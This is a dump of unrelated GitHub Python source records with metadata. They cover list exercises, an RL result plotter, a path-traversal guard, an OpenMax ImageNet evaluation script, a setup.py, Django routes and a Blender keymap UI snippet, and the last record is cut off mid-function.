list\n# provided input\nlist = [1, 2, 1, 2, 3, 4, 5, 1, 1, 2, 5, 6, 7, 8, 9, 9]\n \nnew = []  # defining output list\n \n# condition for reviewing every\n# element of given input list\nfor a in list:\n \n     # checking the occurrence of elements\n    n = list.count(a)\n \n    # if the occurrence is more than\n    # one we add it to the output list\n    if n > 1:\n \n        if new.count(a) == 0:  # condition to check\n \n            new.append(a)\n \nprint(new)\n\n#12\n# Python code to count the number of occurrences\ndef countX(lst, x):\n    return lst.count(x)\n \n# Driver Code\nlst = [8, 6, 8, 10, 8, 20, 10, 8, 8]\nx = 8\nprint('{} has occurred {} times'.format(x, countX(lst, x)))\n\n#13\n# Python program to find the k most frequent words\n# from data set\nfrom collections import Counter\n  \ndata_set = \"Welcome to the world of Geeks \" \\\n\"This portal has been created to provide well written well\" \\\n\"thought and well explained solutions for selected questions \" \\\n\"If you like Geeks for Geeks and would like to contribute \" \\\n\"here is your chance You can write article and mail your article \" \\\n\" to contribute at geeksforgeeks org See your article appearing on \" \\\n\"the Geeks for Geeks main page and help thousands of other Geeks. \" \\\n  \n# split() returns list of all the words in the string\nsplit_it = data_set.split()\n  \n# Pass the split_it list to instance of Counter class.\nCounter = Counter(split_it)\n  \n# most_common() produces k frequently encountered\n# input values and their respective counts.\nmost_occur = Counter.most_common(4)\n  \nprint(most_occur)\n","repo_name":"KomalAwati/All_files_python_class","sub_path":"Test Preparation/List_programs.py","file_name":"List_programs.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70706589542","text":"import numpy as np\nimport math\nimport json\nimport matplotlib.pyplot as plt\n\nprint(\n\"METHODS:\\n\",\n\"# 1:  mb_vi            - model-based method, value-iteration\\n\",\n\"# 2:  mb_su            - model-based method, single update (only current state)\\n\",\n\"# 3:  mb_nstep         - n-step model-based method\\n\",\n\"# 4:  sarsa_lambda\\n\",\n\"# 5:  qlearning\\n\",\n\"Note: Must have completed train both with and without LoCA pretrain to compare.\")\n\n# Let the user enter the model:\nmethod = input(\"Enter a number to choose the method to show: \")\nvalid_inputs = ['1', '2', '3', '4', '5']\nwhile method not in valid_inputs:\n    method = input(\"Invalid input, enter a number listed above: \")\n\nmethod = int(method)\nif method == 1:\n    method_name = 'mb_vi'\nelif method == 2:\n    method_name = 'mb_su'\nelif method == 3:\n    method_name = 'mb_nstep'\nelif method == 4:\n    method_name = 'sarsa_lambda'\nelif method == 5:\n    method_name = 'qlearning'\nelse:\n    assert False, 'HvS: Invalid method id.'\n\nfilenames = {}; i = 0\n\nfilenames[i] = method_name + '_LoCA'; i+=1\nfilenames[i] = method_name + '_noLoCA'; i+=1\n\n\nresults = {}\ntime = {}\nlabels = {}\navg_regret = {}\nstd_error = {}\nnum_results = i\n\n\nfor i in range(num_results):\n    labels[i]=filenames[i]\n    performance = np.load('data/' + filenames[i] + '_results.npy')\n    results[i] = np.mean(performance,axis=0)\n\n    with open('data/' + filenames[i] + '_settings.txt') as f:\n        settings = json.load(f)\n    if 'avg_regret' in settings:\n        avg_regret[i] = settings['avg_regret']\n        std_error[i] = settings['std_error']\n    else:\n        avg_regret[i] = 0\n        std_error[i] = 0\n    num_steps = settings['num_steps']\n    num_datapoints = settings['num_datapoints']\n    window_size = num_steps // num_datapoints\n    time[i] = np.arange(1,num_datapoints+1)*window_size\n\n\n### show  regrets ##############\n\nprint(\"REGRET (x1000) :\")\nfor i in range(num_results):\n    print(labels[i], \": {:3.2f}\".format(avg_regret[i]/1000), \", std error: {:3.2f}\".format(std_error[i]/1000))\n\n\n\n\n\n\n##########\n\nplt.figure(figsize=(8,5))\n\nfont_size = 20\nfont_size_legend = 20\nfont_size_title = 20\n\n\nplt.rc('font', size=font_size)  # controls default text sizes\nplt.rc('axes', titlesize=font_size_title)  # fontsize of the axes title\nplt.rc('axes', labelsize=font_size)  # fontsize of the x and y labels\nplt.rc('xtick', labelsize=font_size)  # fontsize of the tick labels\nplt.rc('ytick', labelsize=font_size)  # fontsize of the lt.rc('legend', fontsize=font_size_legend)  # legend fontsize\nplt.rc('figure', titlesize=font_size)  # fontsize of the figure title\n\ncolor = 'krgbykrgby'\n\n\nfor i in range(num_results):\n    plt.plot(time[i]/1000,results[i],color[i],label=labels[i])\n\n\nplt.ylim(0,1.1)\nplt.ylabel('top-terminal fraction')\nplt.xlabel('time steps (x 1000)')\nplt.legend(loc=7)\nplt.tight_layout()\nplt.savefig('figs/' + method_name + '_comparison.png')\nplt.show()","repo_name":"everyzig/AIM5014_MiniProject_SinghAishwarya","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12073586978","text":"#!/usr/bin/env python3\nimport fuad.meta as meta\nfrom fuad.meta import chmod_executable\nfrom fuad.errors import *\nfrom urllib.parse import quote as encode_url\nfrom urllib.parse import unquote as decode_url\nfrom html import unescape as decode_html_entities, escape as encode_html_entities\nfrom toml import loads as load_toml, dumps as dump_toml # type: ignore\nfrom hashlib import sha256 as hashing_method # You can change the hashing method, but be ready for compatibility issues\nfrom os import getcwd, makedirs, remove as remove_file\nfrom os.path import commonprefix, commonpath, realpath, abspath, relpath, join as join_paths, basename\nfrom shutil import rmtree as remove_dir\n\ngetchr = lambda i = 0: stringize(chr(int(i) + 1000))\ngetchr.__doc__ = 'Get character by it\\'s index in the unicode.'\n\nstringize = lambda s = '': str(s)\nstringize.__doc__ = 'Return object as a string.'\n\nnormalize = lambda s = '': stringize(s).lower().strip()\nnormalize.__doc__ = 'Normalize the string.'\n\ndecode_all = lambda s = '': decode_html_entities(decode_url(stringize(s)))\ndecode_all.__doc__ = 'Decode URL (`%20`) and HTML (`&amp;`) encoded entities.'\n\nencode_all = lambda s = '': encode_url(stringize(s))\nencode_all.__doc__ = 'Encode string to URL (`%20`).'\n\nget_hash = lambda s = '': hashing_method(stringize(s).encode('utf-8')).hexdigest()\nget_hash.__doc__ = 'Get hash (currently, {}) of the string.'.format(meta.hashing_method)\n\ndef secure_filename(fn: str = '', safe_directory: str = getcwd(), follow_symlinks: bool = True) -> str:\n    '''Secure filename to prevent path traversal attack.\nIf path traversal is detected then error will be raised.'''\n    if not fn: return fn\n    if follow_symlinks: out = realpath(fn)\n    else: out = abspath(fn)\n    if (\n        safe_directory != commonpath((safe_directory, out))\n    ):\n        raise InterceptedPath(\n            'WARNING: Path was intercepted: \\'{}\\'/$FN with \\'{}\\'/SAFE and \\'{}\\'/OUT'\n            .format\n            (\n                stringize(fn) or meta.unknown_symbol,\n                stringize(safe_directory) or meta.unknown_symbol,\n                stringize(out) or meta.unknown_symbol\n            )\n        )\n    return relpath(out)\n","repo_name":"VBPROGER/fuad","sub_path":"src/fuad/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71170047781","text":"import argparse\nimport os\nimport shutil\nimport time\nimport traceback\nimport warnings\n\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.distributed as dist\nimport torch.optim\nimport torch.utils.data\nimport torch.utils.data.distributed\nimport sys\nsys.path.append(\"../..\")\nimport backbones.ImageNet as models\nfrom Utils import adjust_learning_rate, progress_bar, Logger, mkdir_p, Evaluation\nfrom openmax import fit_weibull,openmax, compute_channel_distances\nfrom Modelbuilder import Network\nimport numpy as np\n\n# Ignoring warnings\nwarnings.filterwarnings('ignore')\n\ntry:\n    from nvidia.dali.plugin.pytorch import DALIClassificationIterator\n    from nvidia.dali.pipeline import Pipeline\n    import nvidia.dali.ops as ops\n    import nvidia.dali.types as types\nexcept ImportError:\n    raise ImportError(\"Please install DALI from https://www.github.com/NVIDIA/DALI to run this example.\")\n\nmodel_names = sorted(name for name in models.__dict__\n                     if name.islower() and not name.startswith(\"__\")\n                     and callable(models.__dict__[name]))\n\nparser = argparse.ArgumentParser(description='PyTorch ImageNet Training')\nparser.add_argument('-d', '--data', default='/home/g1007540910/DATA/ImageNet2012_O/', type=str)\nparser.add_argument('--arch', '-a', metavar='ARCH', default='old_resnet18',\n                    choices=model_names,\n                    help='model architecture: ' +\n                    ' | '.join(model_names) +\n                    ' (default: resnet18)')\nparser.add_argument('-j', '--workers', default=32, type=int, metavar='N',\n                    help='number of data loading workers (default: 4)')\nparser.add_argument('--epochs', default=100, type=int, metavar='N',\n                    help='number of total epochs to run')\nparser.add_argument('--start-epoch', default=0, type=int, metavar='N',\n                    help='manual epoch number (useful on restarts)')\nparser.add_argument('-b', '--batch-size', default=64, type=int,\n                    metavar='N', help='mini-batch size (default: 256)')\nparser.add_argument('--lr', '--learning-rate', default=0.1, type=float,\n                    metavar='LR', help='initial learning rate')\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M',\n                    help='momentum')\nparser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,\n                    metavar='W', help='weight decay (default: 1e-4)')\nparser.add_argument('--print-freq', '-p', default=500, type=int,\n                    metavar='N', help='print frequency (default: 10)')\nparser.add_argument('-c', '--checkpoint', type=str, metavar='PATH',\n                    help='path to save checkpoint (default: checkpoint)')\nparser.add_argument('--resume', default='', type=str, metavar='PATH',\n                    help='path to latest checkpoint (default: none)')\nparser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true',\n                    help='evaluate model on validation set')\nparser.add_argument('--pretrained', dest='pretrained', action='store_true',\n                    help='use pre-trained model')\nparser.add_argument('--fp16', action='store_true',\n                    help='Run model fp16 mode.')\nparser.add_argument('--dali_cpu', action='store_true',\n                    help='Runs CPU based version of DALI pipeline.')\nparser.add_argument('--static-loss-scale', type=float, default=1,\n                    help='Static loss scale, positive power of 2 values can improve fp16 convergence.')\nparser.add_argument('--dynamic-loss-scale', action='store_true',\n                    help='Use dynamic loss scaling.  If supplied, this argument supersedes ' +\n                    '--static-loss-scale.')\nparser.add_argument('--prof', dest='prof', action='store_true',\n                    help='Only run 10 iterations for profiling.')\nparser.add_argument('-t', '--test', action='store_true',\n                    help='Launch test mode with preset arguments')\n\nparser.add_argument(\"--local_rank\", default=0, type=int)\n#################################\nparser.add_argument('--train_class_num', default=500, type=int, help='Classes used in training')\nparser.add_argument('--test_class_num', default=800, type=int, help='Classes used in testing')\n\n#Parameters for weibull distribution fitting.\nparser.add_argument('--weibull_tail', default=20, type=int, help='Classes used in testing')\nparser.add_argument('--weibull_alpha', default=3, type=int, help='Classes used in testing')\nparser.add_argument('--weibull_threshold', default=0.1, type=float, help='Classes used in testing')\n\nparser.add_argument('-v', '--val', default='val', type=str)\n\ncudnn.benchmark = True\n\nclass HybridTrainPipe(Pipeline):\n    def __init__(self, batch_size, num_threads, device_id, data_dir, crop, dali_cpu=False):\n        super(HybridTrainPipe, self).__init__(batch_size, num_threads, device_id, seed=12 + device_id)\n        self.input = ops.FileReader(file_root=data_dir, shard_id=args.local_rank, num_shards=args.world_size, random_shuffle=True)\n        #let user decide which pipeline works him bets for RN version he runs\n        dali_device = 'cpu' if dali_cpu else 'gpu'\n        decoder_device = 'cpu' if dali_cpu else 'mixed'\n        # This padding sets the size of the internal nvJPEG buffers to be able to handle all images from full-sized ImageNet\n        # without additional reallocations\n        device_memory_padding = 211025920 if decoder_device == 'mixed' else 0\n        host_memory_padding = 140544512 if decoder_device == 'mixed' else 0\n        self.decode = ops.ImageDecoderRandomCrop(device=decoder_device, output_type=types.RGB,\n                                                 device_memory_padding=device_memory_padding,\n                                                 host_memory_padding=host_memory_padding,\n                                                 random_aspect_ratio=[0.8, 1.25],\n                                                 random_area=[0.1, 1.0],\n                                                 num_attempts=100)\n        self.res = ops.Resize(device=dali_device, resize_x=crop, resize_y=crop, interp_type=types.INTERP_TRIANGULAR)\n        self.cmnp = ops.CropMirrorNormalize(device=\"gpu\",\n                                            output_dtype=types.FLOAT,\n                                            output_layout=types.NCHW,\n                                            crop=(crop, crop),\n                                            image_type=types.RGB,\n                                            mean=[0.485 * 255,0.456 * 255,0.406 * 255],\n                                            std=[0.229 * 255,0.224 * 255,0.225 * 255])\n        self.coin = ops.CoinFlip(probability=0.5)\n        print('DALI \"{0}\" variant'.format(dali_device))\n\n    def define_graph(self):\n        rng = self.coin()\n        self.jpegs, self.labels = self.input(name=\"Reader\")\n        images = self.decode(self.jpegs)\n        images = self.res(images)\n        output = self.cmnp(images.gpu(), mirror=rng)\n        return [output, self.labels]\n\nclass HybridValPipe(Pipeline):\n    def __init__(self, batch_size, num_threads, device_id, data_dir, crop, size):\n        super(HybridValPipe, self).__init__(batch_size, num_threads, device_id, seed=12 + device_id)\n        self.input = ops.FileReader(file_root=data_dir, shard_id=args.local_rank, num_shards=args.world_size, random_shuffle=False)\n        self.decode = ops.ImageDecoder(device=\"mixed\", output_type=types.RGB)\n        self.res = ops.Resize(device=\"gpu\", resize_shorter=size, interp_type=types.INTERP_TRIANGULAR)\n        self.cmnp = ops.CropMirrorNormalize(device=\"gpu\",\n                                            output_dtype=types.FLOAT,\n                                            output_layout=types.NCHW,\n                                            crop=(crop, crop),\n                                            image_type=types.RGB,\n                                            mean=[0.485 * 255,0.456 * 255,0.406 * 255],\n                                            std=[0.229 * 255,0.224 * 255,0.225 * 255])\n\n    def define_graph(self):\n        self.jpegs, self.labels = self.input(name=\"Reader\")\n        images = self.decode(self.jpegs)\n        images = self.res(images)\n        output = self.cmnp(images)\n        return [output, self.labels]\n\nbest_prec1 = 0\nargs = parser.parse_args()\n\n# checkpoint\nif args.checkpoint is None:\n    if args.fp16:\n        args.checkpoint='checkpoints/imagenet/'+args.arch+'_FP16'\n    else:\n        args.checkpoint = 'checkpoints/imagenet/' + args.arch + '_FP32'\n\n\nargs.distributed = False\nif 'WORLD_SIZE' in os.environ:\n    args.distributed = int(os.environ['WORLD_SIZE']) > 1\n\n# make apex optional\nif args.fp16 or args.distributed:\n    print(\"Import APEX!\")\n    try:\n        from apex.parallel import DistributedDataParallel as DDP\n        from apex.fp16_utils import *\n    except ImportError:\n        raise ImportError(\"Please install apex from https://www.github.com/nvidia/apex to run this example.\")\n\n# item() is a recent addition, so this helps with backward compatibility.\ndef to_python_float(t):\n    if hasattr(t, 'item'):\n        return t.item()\n    else:\n        return t[0]\n\ndef main():\n    global best_prec1, args\n\n    args.gpu = 0\n    args.world_size = 1\n\n    if args.distributed:\n        args.gpu = args.local_rank % torch.cuda.device_count()\n        torch.cuda.set_device(args.gpu)\n        torch.distributed.init_process_group(backend='nccl',\n                                             init_method='env://')\n        args.world_size = torch.distributed.get_world_size()\n\n    args.total_batch_size = args.world_size * args.batch_size\n\n    if not os.path.isdir(args.checkpoint) and args.local_rank == 0:\n        mkdir_p(args.checkpoint)\n\n    if args.fp16:\n        assert torch.backends.cudnn.enabled, \"fp16 mode requires cudnn backend to be enabled.\"\n\n    if args.static_loss_scale != 1.0:\n        if not args.fp16:\n            print(\"Warning:  if --fp16 is not used, static_loss_scale will be ignored.\")\n\n    # create model\n    if args.pretrained:\n        print(\"=> using pre-trained model '{}'\".format(args.arch))\n        model = models.__dict__[args.arch](pretrained=True)\n    else:\n        print(\"=> creating model '{}'\".format(args.arch))\n        model = Network(backbone=args.arch, num_classes=args.train_class_num)\n\n\n    model = model.cuda()\n    if args.fp16:\n        model = network_to_half(model)\n    if args.distributed:\n        # shared param/delay all reduce turns off bucketing in DDP, for lower latency runs this can improve perf\n        # for the older version of APEX please use shared_param, for newer one it is delay_allreduce\n        model = DDP(model, delay_allreduce=True)\n\n    # define loss function (criterion) and optimizer\n    criterion = nn.CrossEntropyLoss().cuda()\n\n    optimizer = torch.optim.SGD(model.parameters(), args.lr,\n                                momentum=args.momentum,\n                                weight_decay=args.weight_decay)\n    if args.fp16:\n        optimizer = FP16_Optimizer(optimizer,\n                                   static_loss_scale=args.static_loss_scale,\n                                   dynamic_loss_scale=args.dynamic_loss_scale,\n                                   verbose=False)\n\n    # optionally resume from a checkpoint\n    title = 'ImageNet-' + args.arch\n    if args.resume:\n        if os.path.isfile(args.resume):\n            print(\"=> loading checkpoint '{}'\".format(args.resume))\n            checkpoint = torch.load(args.resume, map_location=lambda storage, loc: storage.cuda(args.gpu))\n            args.start_epoch = checkpoint['epoch']\n            best_prec1 = checkpoint['best_prec1']\n            model.load_state_dict(checkpoint['state_dict'])\n            optimizer.load_state_dict(checkpoint['optimizer'])\n            print(\"=> loaded checkpoint '{}' (epoch {})\"\n                  .format(args.resume, checkpoint['epoch']))\n        else:\n            print(\"=> no checkpoint found at '{}'\".format(args.resume))\n    else:\n        if args.local_rank == 0:\n            logger = Logger(os.path.join(args.checkpoint, 'log.txt'), title=title)\n            logger.set_names(['Learning Rate', 'Train Loss', 'Valid Loss', 'Train Acc.', 'Valid Acc.', 'Valid Top5.'])\n\n    traindir = os.path.join(args.data, 'train')\n    valdir = os.path.join(args.data, args.val)\n\n\n    crop_size = 224\n    val_size = 256\n\n    pipe = HybridTrainPipe(batch_size=args.batch_size, num_threads=args.workers, device_id=args.local_rank, data_dir=traindir, crop=crop_size, dali_cpu=args.dali_cpu)\n    pipe.build()\n    train_loader = DALIClassificationIterator(pipe, size=int(pipe.epoch_size(\"Reader\") / args.world_size))\n\n    pipe = HybridValPipe(batch_size=args.batch_size, num_threads=args.workers, device_id=args.local_rank, data_dir=valdir, crop=crop_size, size=val_size)\n    pipe.build()\n    val_loader = DALIClassificationIterator(pipe, size=int(pipe.epoch_size(\"Reader\") / args.world_size))\n\n\n    validate(val_loader,train_loader, model)\n\n\n\ndef validate(val_loader, train_loader, model):\n    # switch to evaluate mode\n    model.eval()\n    if args.local_rank == 0:\n        print(\"start evaluating...\")\n    scores, labels = [], []\n    for i, data in enumerate(val_loader):\n        input = data[0][\"data\"]\n        target = data[0][\"label\"].squeeze().cuda().long()\n        val_loader_len = int(val_loader._size / args.batch_size)\n\n        if args.local_rank == 0 and i%200 ==0:\n            print(f\"evaluating {i}\\t/{val_loader_len}...\")\n\n        target = target.cuda(non_blocking=True)\n        input_var = Variable(input)\n        target_var = Variable(target)\n\n        # compute output\n        with torch.no_grad():\n            _, output = model(input_var)\n\n        # print(f\"output shape is : {output.shape}, max target is {max(target_var)}, min target is {min(target_var)}\")\n        scores.append(output)\n        labels.append(target)\n\n    # Get the prdict results.\n    scores = torch.cat(scores, dim=0).cpu().numpy()\n    labels = torch.cat(labels, dim=0).cpu().numpy()\n    scores = np.array(scores)[:, np.newaxis, :]\n    labels = np.array(labels)\n\n    # Fit the weibull distribution from training data.\n    print(\"Fittting Weibull distribution...\")\n    _, mavs, dists = compute_train_score_and_mavs_and_dists(args.train_class_num, train_loader, model)\n    print(\"Finish fittting Weibull distribution...\")\n    categories = list(range(0, args.train_class_num))\n    weibull_model = fit_weibull(mavs, dists, categories, args.weibull_tail, \"euclidean\")\n\n    pred_softmax, pred_softmax_threshold, pred_openmax = [], [], []\n    score_softmax, score_openmax = [], []\n    for score in scores:\n        so, ss = openmax(weibull_model, categories, score,\n                         0.5, args.weibull_alpha, \"euclidean\")\n        # print(f\"so  {so} \\n ss  {ss}\")# openmax_prob, softmax_prob\n        pred_softmax.append(np.argmax(ss))\n        pred_softmax_threshold.append(np.argmax(ss) if np.max(ss) >= args.weibull_threshold else args.train_class_num)\n        pred_openmax.append(np.argmax(so) if np.max(so) >= args.weibull_threshold else args.train_class_num)\n        score_softmax.append(ss)\n        score_openmax.append(so)\n\n\n    print(\"Evaluation...\")\n    eval_softmax = Evaluation(pred_softmax, labels)\n    eval_softmax_threshold = Evaluation(pred_softmax_threshold, labels)\n    eval_openmax = Evaluation(pred_openmax, labels)\n    # torch.save(eval_softmax, os.path.join(args.checkpoint, 'eval_softmax.pkl'))\n    # torch.save(eval_softmax_threshold, os.path.join(args.checkpoint, 'eval_softmax_threshold.pkl'))\n    # torch.save(eval_openmax, os.path.join(args.checkpoint, 'eval_openmax.pkl'))\n\n    softmax_results = torch.Tensor([eval_softmax.accuracy,eval_softmax.f1_measure,\n                                         eval_softmax.f1_macro,eval_softmax.f1_macro_weighted])\n    threshold_results = torch.Tensor([eval_softmax_threshold.accuracy, eval_softmax_threshold.f1_measure,\n                                         eval_softmax_threshold.f1_macro, eval_softmax_threshold.f1_macro_weighted])\n    openmax_results = torch.Tensor([eval_openmax.accuracy, eval_openmax.f1_measure,\n                                    eval_openmax.f1_macro, eval_openmax.f1_macro_weighted])\n\n    softmax_results = reduce_tensor(softmax_results.to(input_var.device))\n    threshold_results = reduce_tensor(threshold_results.to(input_var.device))\n    openmax_results = reduce_tensor(openmax_results.to(input_var.device))\n    if args.local_rank == 0:\n        print(f\"the result for three     :  Acc, F1, macro, w-marco\")\n        print(f\"the result for softmax   :  {softmax_results}\")\n        print(f\"the result for threshold :  {threshold_results}\")\n        print(f\"the result for openmax   :  {openmax_results}\")\n\n\n\ndef reduce_tensor(tensor):\n    rt = tensor.clone()\n    dist.all_reduce(rt, op=dist.ReduceOp.SUM)\n    rt /= args.world_size\n    return rt\n\n\ndef compute_train_score_and_mavs_and_dists(train_class_num,trainloader,net):\n    scores = [[] for _ in range(train_class_num)]\n    with torch.no_grad():\n        for batch_idx, data in enumerate(trainloader):\n            input = data[0][\"data\"]\n            target = data[0][\"label\"].squeeze().cuda().long()\n            train_loader_len = int(trainloader._size / args.batch_size)\n\n            if args.local_rank == 0 and batch_idx % 200 == 0:\n                print(f\"computing train score {batch_idx}\\t/{train_loader_len}...\")\n\n            # this must cause error for cifar\n            _, outputs = net(input)\n            for score, t in zip(outputs, target):\n                # print(f\"torch.argmax(score) is {torch.argmax(score)}, t is {t}\")\n                if torch.argmax(score) == t:\n                    scores[t].append(score.unsqueeze(dim=0).unsqueeze(dim=0))\n    scores = [torch.cat(x).cpu().numpy() for x in scores]  # (N_c, 1, C) * C\n    mavs = np.array([np.mean(x, axis=0) for x in scores])  # (C, 1, C)\n    dists = [compute_channel_distances(mcv, score) for mcv, score in zip(mavs, scores)]\n    return scores, mavs, dists\n\n\ndef accuracy(output, target, topk=(1,)):\n    \"\"\"Computes the precision@k for the specified values of k\"\"\"\n    maxk = max(topk)\n    batch_size = target.size(0)\n\n    _, pred = output.topk(maxk, 1, True, True)\n    pred = pred.t()\n    correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n    res = []\n    for k in topk:\n        correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n        res.append(correct_k.mul_(100.0 / batch_size))\n    return res\n\n\nif __name__ == '__main__':\n    # try:\n    #     main()\n    # except Exception as e:\n    #     print(e)\n    #     traceback.print_exc()\n    #     os.system(\"sudo poweroff\")\n    # print(\"DONE, FINISHED!!!\")\n    # os.system(\"sudo poweroff\")\n    main()\n","repo_name":"ma-xu/Open-Set-Recognition","sub_path":"OSR/OpenMax/imagenet_val.py","file_name":"imagenet_val.py","file_ext":"py","file_size_in_byte":18812,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"35"}
{"seq_id":"45396925003","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"greenotyper\",\n    version=\"0.7.0\",\n    scripts=[\"greenotyper\"],\n    author=\"Marni Tausen\",\n    author_email=\"marni.tausen@gmail.com\",\n    data_files=[('', ['icon/icon.png'])],\n    description=\"Plant image-based phenotyping pipeline\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/MarniTausen/Greenotyper\",\n    packages=setuptools.find_packages(),\n    python_requires='~=3.6',\n    install_requires=[\n        \"tensorflow>=2\",\n        \"PyQt5>=5.9\",\n        \"numpy>=1.15\",\n        \"scikit-image>=0.14\",\n        \"pillow>=5.2\",\n        \"tqdm>=4.40\"\n    ],\n    classifiers=[\n        \"Programming Language :: Python :: 3.6\",\n        \"Programming Language :: Python :: 3.7\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n        \"Development Status :: 4 - Beta\"\n    ],\n    keywords=\"phenotyping detection \"\n)\n","repo_name":"MarniTausen/Greenotyper","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"10548776623","text":"from django.urls import path\n\nfrom .views import (\n    index,BuscadorProductos,BuscadorProductos2,producto_categoria_genero,producto_detalle,\n    get_variants,get_products\n)\n\napp_name = 'tienda'\n\nurlpatterns = [\n    path('',index.as_view(),name=\"index\"),\n    \n    path('search', BuscadorProductos.as_view(), name='search'),\n    path('buscador/',BuscadorProductos2,name=\"buscador2\"),\n    path('producto/detalle/<int:pk>',producto_detalle,name=\"producto_detalle\"),\n    path('productos/',get_products,name=\"get_products\"),\n    path('productos/<str:genero>/<str:categoria>',producto_categoria_genero,name=\"producto_categoria_genero\"),\n    path('variants/AJAX/<str:talle>',get_variants,name=\"get_variants\"),\n\n    \n    \n    \n]","repo_name":"jordanaescalona/tp_final_utn_frtdf","sub_path":"janma/tienda/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3541038347","text":"#coding=utf-8\n'''\n题目描述\n现有一组砝码，重量互不相等，分别为m1,m2,m3…mn；\n每种砝码对应的数量为x1,x2,x3...xn。现在要用这些砝码去称物体的重量(放在同一侧)，问能称出多少种不同的重量。\n注：称重重量包括0\n方法原型：public static int fama(int n, int[] weight, int[] nums)\n输入描述:\n输入包含多组测试数据。\n对于每组测试数据：\n第一行：n --- 砝码数(范围[1,10])\n第二行：m1 m2 m3 ... mn --- 每个砝码的重量(范围[1,2000])\n第三行：x1 x2 x3 .... xn --- 每个砝码的数量(范围[1,6])\n输出描述:\n利用给定的砝码可以称出的不同的重量数\n'''\n\ndef solution(n,m,x):\n    n=int(n)\n    m=list(map(int,m.split()))\n    x=list(map(int,x.split()))\n\n    weights=[]\n    for i in range(x[0]+1):\n        weights.append(i*m[0])\n    if len(m)>1:\n        for j in range(1,len(m)):\n            for ii in range(x[j]):\n                new_weight=[z+m[j] for z in weights]\n                weights.extend(new_weight)\n                #weights.append(m[j]*ii)\n                weights=list(set(weights))\n    return  len(weights)\n\n# n=\"6\"\n# m=\"5 133 140 81 73 10\"\n# x=\"2 4 6 1 2 6\"\n# print(solution(n,m,x))\nwhile True:\n    try:\n        n=input().strip()\n        m=input().strip()\n        x=input().strip()\n        print(solution(n,m,x))\n    except:\n        break\n","repo_name":"1274085042/Algorithm","sub_path":"Offer/HUAWEI/称砝码.py","file_name":"称砝码.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"10575256457","text":"from rna_keymap_ui import _indented_layout, draw_km\nimport bpy\n\ndef draw_kmi(display_keymaps, kc, km, kmi, layout, level, label=''):\n    map_type = kmi.map_type\n\n    col = _indented_layout(layout, level)\n\n    if kmi.show_expanded:\n        col = col.column(align=True)\n        box = col.box()\n    else:\n        box = col.column()\n\n    split = box.split()\n\n    # header bar\n    row = split.row(align=True)\n    row.prop(kmi, \"show_expanded\", text=\"\", emboss=False)\n    row.prop(kmi, \"active\", text=\"\", emboss=False)\n\n    if km.is_modal:\n        row.separator()\n        row.prop(kmi, \"propvalue\", text=\"\")\n    else:\n        label = kmi.name if label == '' else label\n        row.label(text=label)\n\n    row = split.row()\n    row.prop(kmi, \"map_type\", text=\"\")\n    if map_type == 'KEYBOARD':\n        row.prop(kmi, \"type\", text=\"\", full_event=True)\n    elif map_type == 'MOUSE':\n        row.prop(kmi, \"type\", text=\"\", full_event=True)\n    elif map_type == 'NDOF':\n        row.prop(kmi, \"type\", text=\"\", full_event=True)\n    elif map_type == 'TWEAK':\n        subrow = row.row()\n        subrow.prop(kmi, \"type\", text=\"\")\n        subrow.prop(kmi, \"value\", text=\"\")\n    elif map_type == 'TIMER':\n        row.prop(kmi, \"type\", text=\"\")\n    else:\n        row.label()\n\n    if (not kmi.is_user_defined) and kmi.is_user_modified:\n        row.operator(\"preferences.keyitem_restore\", text=\"\", icon='BACK').item_id = kmi.id\n    else:\n        row.operator(\n            \"preferences.keyitem_remove\",\n            text=\"\",\n            # Abusing the tracking icon, but it works pretty well here.\n            icon=('TRACKING_CLEAR_BACKWARDS' if kmi.is_user_defined else 'X')\n        ).item_id = kmi.id\n\n    # Expanded, additional event settings\n    if kmi.show_expanded:\n        box = col.box()\n\n        split = box.split(factor=0.4)\n        sub = split.row()\n\n        if km.is_modal:\n            sub.prop(kmi, \"propvalue\", text=\"\")\n        else:\n            # One day...\n            # sub.prop_search(kmi, \"idname\", bpy.context.window_manager, \"operators_all\", text=\"\")\n            sub.prop(kmi, \"idname\", text=\"\")\n\n        if map_type not in {'TEXTINPUT', 'TIMER'}:\n            sub = split.column()\n            subrow = sub.row(align=True)\n\n            if map_type == 'KEYBOARD':\n                subrow.prop(kmi, \"type\", text=\"\", event=True)\n                subrow.prop(kmi, \"value\", text=\"\")\n                subrow_repeat = subrow.row(align=True)\n                subrow_repeat.active = kmi.value in {'ANY', 'PRESS'}\n                subrow_repeat.prop(kmi, \"repeat\", text=\"Repeat\")\n            elif map_type in {'MOUSE', 'NDOF'}:\n                subrow.prop(kmi, \"type\", text=\"\")\n                subrow.prop(kmi, \"value\", text=\"\")\n\n            if map_type in {'KEYBOARD', 'MOUSE'} and kmi.value == 'CLICK_DRAG':\n                subrow = sub.row()\n                subrow.prop(kmi, \"direction\")\n\n            subrow = sub.row()\n            subrow.scale_x = 0.75\n            